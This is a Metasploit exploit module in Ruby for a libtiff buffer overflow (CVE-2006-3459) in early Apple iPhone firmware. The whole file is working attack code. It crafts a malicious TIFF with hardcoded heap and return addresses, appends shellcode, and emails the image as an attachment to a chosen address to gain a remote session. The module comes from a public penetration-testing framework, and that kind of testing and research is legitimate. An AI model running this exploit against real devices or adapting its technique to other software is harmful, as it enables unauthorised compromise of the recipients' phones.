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mobilemail_libtiff.rb
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mobilemail_libtiff.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module sends email messages via smtp
#
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple iOS MobileMail LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Stance' => Msf::Exploit::Stance::Passive,
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
'Compat' =>
{
'ConnectionType' => '-bind -find',
},
},
'Arch' => ARCH_ARMLE,
'Platform' => %w{ osx },
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2006-08-01'
))
end
def autofilter
false
end
def exploit
exts = ['jpg', 'tiff', 'tif']
gext = exts[rand(exts.length)]
name = rand_text_alpha(rand(10)+1) + ".#{gext}"
data = Rex::Text.rand_text_alpha(rand(32)+1)
tiff = generate_tiff(target)
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext)
send_message(msg.to_s)
print_status("Waiting for a payload session (backgrounding)...")
end
def generate_tiff(targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end